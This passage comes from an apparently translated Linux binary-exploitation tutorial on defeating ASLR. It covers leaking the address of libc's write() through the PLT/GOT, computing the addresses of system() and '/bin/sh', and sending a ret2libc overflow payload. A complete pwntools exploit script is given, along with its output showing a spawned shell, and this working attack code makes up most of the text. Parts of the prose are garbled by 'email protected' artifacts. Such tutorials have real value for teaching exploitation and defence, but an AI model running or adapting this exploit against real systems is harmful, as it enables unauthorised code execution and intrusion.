(continued above)
Next we turn on ASLR protection.
sudo -s echo 2 > /proc/sys/kernel/randomize_va_space`
Now let's go back and test the exp of Level 2 and find that it's no longer working.
#!bash $python exp2.py [+] Started program './level2' [*] Switching to interactive mode [*] Program './level2' stopped with exit code -11 [*] Got EOF while reading in interactive
If you look through sudo cat/proc/[pid]/maps or ldd, you will find that the libc.so address of level 2 changes every time.
cat /proc/[First implemented level2 Of pid]/maps b759c000-b7740000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7740000-b7741000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7741000-b7743000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7743000-b7744000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so cat /proc/[Second Enforcement level2 Of pid]/maps b7546000-b76ea000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b76ea000-b76eb000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b76eb000-b76ed000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b76ed000-b76ee000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so cat /proc/[Third implementation level2 Of pid]/maps b7560000-b7704000 r-xp 00000000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7704000-b7705000 ---p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7705000-b7707000 r--p 001a4000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so b7707000-b7708000 rw-p 001a6000 08:01 525196 /lib/i386-linux-gnu/libc-2.15.so
So how to solve the problem of address randomization? The idea is that we need to leak out the address of some libc.so functions in memory first, then use the leaked function address to calculate the address of system() function and / bin/sh string in memory based on offset, and then execute our ret2libc shellcode. Since the stack, libc, heap addresses are random. How can we leak the address of libc.so? There are still methods, because the address of the program itself in memory is not random.
So we just set the return value to the program itself to execute the desired instructions. First, we use objdump to view the available plt functions and their corresponding get tables:
#!bash $ objdump -d -j .plt level2 Disassembly of section .plt: 08048310 <[email protected]>: 8048310: ff 25 00 a0 04 08 jmp *0x804a000 8048316: 68 00 00 00 00 push $0x0 804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30> 08048320 <[email protected]>: 8048320: ff 25 04 a0 04 08 jmp *0x804a004 8048326: 68 08 00 00 00 push $0x8 804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30> 08048330 <[email protected]>: 8048330: ff 25 08 a0 04 08 jmp *0x804a008 8048336: 68 10 00 00 00 push $0x10 804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30> 08048340 <[email protected]>: 8048340: ff 25 0c a0 04 08 jmp *0x804a00c 8048346: 68 18 00 00 00 push $0x18 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30> $ objdump -R level2 //got table DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT read 0804a004 R_386_JUMP_SLOT __gmon_start__ 0804a008 R_386_JUMP_SLOT __libc_start_main 0804a00c R_386_JUMP_SLOT write
We found that besides the functions implemented by the program itself, we can also use them. email protected and email protected Function. But because the program itself does not call the system() function, we cannot call system() directly to get the shell. But we do. email protected Functions are enough because we can print out the address of the write() function in memory, that is, write. get, through the [email protected] () function. Since the write() function is implemented in libc.so, we call it email protected Why can a function also implement write()? This is because linux uses delay binding technology when we call it email protected At that time, the system will link the real write() function address to write. get of the get table, and then email protected It jumps to the real write() function based on write. get. (If it's still unclear, I recommend reading Programmers'Self-cultivation - Links, Loading and Libraries)
Because the offset (relative address) of system() function and write() in libc.so is unchanged, if we get the address of write() and have libc.so on the target server, we can calculate the address of system() in memory. Then we return the pc pointer back to the vulnerable_function() function, and we can ret2libc overflow attack, and this time we know the address of the system() in memory, we can call the system() function to get our shell.
Using the ldd command, you can view the so libraries invoked by the target program. Then we copy libc.so to the current directory, because our exp needs this so file to calculate the relative address:
$ldd level2 linux-gate.so.1 => (0xb7781000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000) /lib/ld-linux.so.2 (0xb7782000) $ cp /lib/i386-linux-gnu/libc.so.6 libc.so //Finally, exp is as follows: #!python #!/usr/bin/env python from pwn import * libc = ELF('libc.so') elf = ELF('level2') #p = process('./level2') p = remote('127.0.0.1', 10003) plt_write = elf.symbols['write'] print 'plt_write= ' + hex(plt_write) got_write = elf.got['write'] print 'got_write= ' + hex(got_write) vulfun_addr = 0x08048404 print 'vulfun= ' + hex(vulfun_addr) payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4) print "\n###sending payload1 ...###" p.send(payload1) print "\n###receving write() addr...###" write_addr = u32(p.recv(4)) print 'write_addr=' + hex(write_addr) print "\n###calculating system() addr and \"/bin/sh\" addr...###" system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system']) print 'system_addr= ' + hex(system_addr) binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh'))) print 'binsh_addr= ' + hex(binsh_addr) payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr) print "\n###sending payload2 ...###" p.send(payload2) p.interactive()
Final implementation of our exp: #!bash $python exp3.py [+] Opening connection to 127.0.0.1 on port 10003: Done plt_write= 0x8048340 got_write= 0x804a00c vulfun= 0x8048404 ###sending payload1 ...### ###receving write() addr...### write_addr=0xb76f64c0 ###calculating system() addr and "/bin/sh" addr...### system_addr= 0xb7656460 binsh_addr= 0xb7778ff8 ###sending payload2 ...### [*] Switching to interactive mode $ whoami mzheng